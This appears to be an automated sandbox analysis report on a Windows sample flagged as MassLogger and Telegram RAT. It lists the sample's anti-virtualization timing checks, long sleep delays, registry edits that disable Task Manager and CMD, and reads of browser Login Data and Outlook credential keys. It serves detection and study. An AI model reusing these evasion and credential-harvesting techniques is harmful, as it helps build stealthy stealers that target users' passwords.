Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	API/Special instruction interceptor: Address: 4D02460
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	API/Special instruction interceptor: Address: 39C2460

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	RDTSC instruction interceptor: First address: 4CC96B4 second address: 4CC96B4 instructions: 0x00000000 rdtsc 0x00000002 test eax, ebx 0x00000004 test bl, al 0x00000006 cmp ebx, ecx 0x00000008 jc 00007F0F090DC114h 0x0000000a cmp dh, ch 0x0000000c inc ebp 0x0000000d inc ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	RDTSC instruction interceptor: First address: 39896B4 second address: 39896B4 instructions: 0x00000000 rdtsc 0x00000002 test eax, ebx 0x00000004 test bl, al 0x00000006 cmp ebx, ecx 0x00000008 jc 00007F0F08E05AA4h 0x0000000a cmp dh, ch 0x0000000c inc ebp 0x0000000d inc ebx 0x0000000e rdtsc

Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Memory allocated: 110000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Memory allocated: 347C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Memory allocated: 367C0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 599874	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 599641	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 599500	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 599374	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 599265	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 599081	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 598909	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 598768	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 598641	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 598532	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 598407	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 598282	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 598157	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 598032	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 597907	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 597797	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 597688	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 597563	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 597438	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 597313	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 597188	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 597079	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 596954	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 596829	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 596704	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 596579	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 596454	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 596305	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 596201	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 596094	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 595983	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 595871	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 595766	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 595657	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 595532	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 595407	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 595282	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 595157	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 595032	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 594922	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 594813	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 594688	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 594563	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 594438	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 594313	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 594203	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 594087	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 593985	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 593875	Jump to behavior

Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Window / User API: threadDelayed 2423			Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Window / User API: threadDelayed 7394			Jump to behavior

Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsw2CAB.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe

API coverage: 3.7 %

Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep count: 33 > 30	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep time: -30437127721620741s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7900	Thread sleep count: 2423 > 30	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep time: -599874s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7900	Thread sleep count: 7394 > 30	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep time: -599766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep time: -599641s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep time: -599500s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep time: -599374s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep time: -599265s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep time: -599081s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep time: -598909s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep time: -598768s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep time: -598641s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep time: -598532s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep time: -598407s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep time: -598282s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep time: -598157s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep time: -598032s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep time: -597907s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep time: -597797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep time: -597688s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep time: -597563s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep time: -597438s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep time: -597313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep time: -597188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep time: -597079s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep time: -596954s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep time: -596829s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep time: -596704s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep time: -596579s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep time: -596454s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep time: -596305s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep time: -596201s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep time: -596094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep time: -595983s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep time: -595871s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep time: -595766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep time: -595657s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep time: -595532s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep time: -595407s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep time: -595282s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep time: -595157s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep time: -595032s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep time: -594922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep time: -594813s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep time: -594688s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep time: -594563s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep time: -594438s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep time: -594313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep time: -594203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep time: -594087s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep time: -593985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe TID: 7892	Thread sleep time: -593875s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 0_2_00405846 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,LdrInitializeThunk,FindNextFileW,FindClose,	0_2_00405846
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 0_2_004027FB FindFirstFileW,	0_2_004027FB
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 0_2_00406398 FindFirstFileW,FindClose,	0_2_00406398
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_00405846 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,LdrInitializeThunk,FindNextFileW,FindClose,	3_2_00405846
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_004027FB FindFirstFileW,	3_2_004027FB
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_00406398 FindFirstFileW,FindClose,	3_2_00406398

Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 599874	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 599641	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 599500	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 599374	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 599265	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 599081	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 598909	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 598768	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 598641	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 598532	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 598407	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 598282	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 598157	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 598032	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 597907	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 597797	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 597688	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 597563	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 597438	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 597313	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 597188	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 597079	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 596954	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 596829	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 596704	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 596579	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 596454	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 596305	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 596201	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 596094	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 595983	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 595871	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 595766	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 595657	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 595532	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 595407	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 595282	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 595157	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 595032	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 594922	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 594813	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 594688	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 594563	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 594438	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 594313	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 594203	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 594087	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 593985	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Thread delayed: delay time: 593875	Jump to behavior

Source: m0CZ8H4jfl.exe, 00000003.00000002.2637853910.0000000004107000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: m0CZ8H4jfl.exe, 00000003.00000002.2637853910.00000000040A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh

Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	API call chain: ExitProcess graph end node			graph_0-3933
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	API call chain: ExitProcess graph end node			graph_0-3752

Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe

Code function: 0_2_00403C41 SetWindowPos,ShowWindow,DestroyWindow,SetWindowLongW,GetDlgItem,SendMessageW,IsWindowEnabled,LdrInitializeThunk,SendMessageW,GetDlgItem,GetDlgItem,GetDlgItem,LdrInitializeThunk,SetClassLongW,SendMessageW,GetDlgItem,ShowWindow,KiUserCallbackDispatcher,EnableWindow,GetSystemMenu,EnableMenuItem,SendMessageW,LdrInitializeThunk,SendMessageW,SendMessageW,lstrlenW,SetWindowTextW,DestroyWindow,CreateDialogParamW,GetDlgItem,GetWindowRect,ScreenToClient,SetWindowPos,LdrInitializeThunk,ShowWindow,DestroyWindow,EndDialog,ShowWindow,

0_2_00403C41

Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe

0_2_10001B18

Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe

Process created: C:\Users\user\Desktop\m0CZ8H4jfl.exe "C:\Users\user\Desktop\m0CZ8H4jfl.exe"

Jump to behavior

Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Queries volume information: C:\Users\user\Desktop\m0CZ8H4jfl.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe

Code function: 0_2_00406077 GetVersion,LdrInitializeThunk,LdrInitializeThunk,GetSystemDirectoryW,LdrInitializeThunk,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00406077

Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Task Manager(disabletaskmgr)

Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe

Registry value created: DisableTaskMgr 1

Jump to behavior

Disables CMD prompt

Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe

Registry value created: DisableCMD 1

Jump to behavior

Disables the Windows task manager (taskmgr)

Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe

Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System DisableTaskMgr

Jump to behavior

Stealing of Sensitive Information

Yara detected MassLogger RAT

Source: Yara match	File source: 00000003.00000002.2660261583.000000003481B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: m0CZ8H4jfl.exe PID: 7628, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000003.00000002.2660261583.000000003481B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: m0CZ8H4jfl.exe PID: 7628, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Yara match	File source: 00000003.00000002.2660261583.000000003481B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: m0CZ8H4jfl.exe PID: 7628, type: MEMORYSTR

Remote Access Functionality

Yara detected MassLogger RAT

Source: Yara match	File source: 00000003.00000002.2660261583.000000003481B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: m0CZ8H4jfl.exe PID: 7628, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000003.00000002.2660261583.000000003481B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
